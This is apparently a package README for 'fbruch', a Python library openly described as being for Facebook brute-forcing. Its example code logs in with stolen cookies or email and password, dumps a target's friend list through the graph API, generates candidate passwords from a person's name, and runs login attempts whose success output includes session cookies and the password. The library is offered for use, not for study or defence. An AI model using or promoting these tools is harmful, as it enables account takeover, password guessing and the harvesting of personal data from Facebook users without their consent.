A simple Facebook library focused on Facebook brut3f0rce.
pip install fbruch
Example code
from fbruch import Api
# Login using cookies string.
# Download cookies using the cookiedough extension
fb = Api(cookies='cookie string')
# Login using email and password
fb = Api(mailpass={'email': 'fbmail@gmail.com', 'password': 'fbpassword'})
print(fb.islogin) # if login success
print(fb.token) # your facebook token
Get name and user id facebook
Example code
info = fb.account_info(id='meizug')
print(info)
Get name and user id friendlist using graph api
Example code
dump = fb.dump_friendlist(id='meizug', cursor=None)
print(dump)
Create a list of passwords from names.
Example code
from fbruch.utils import password_generator
password = password_generator(name='dinda ayunda')
print(password)
Example code
from fbruch import Login
fb = Login(subdomain='mbasic')
response = fb.__regular__(email='mailfb@gmail.com', password='facebook password')
print(response)
Example success output
{'status': True, 'data': {'session': b'example session', 'useragent': 'Useragent example', 'email': 'output@gmail.com', 'password': 'example password', 'cookies_string': 'example cookies'}, 'error': None}
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FAQs
Simple python library using graph api and scraping.
We found that fbruch demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 1 open source maintainer collaborating on the project.
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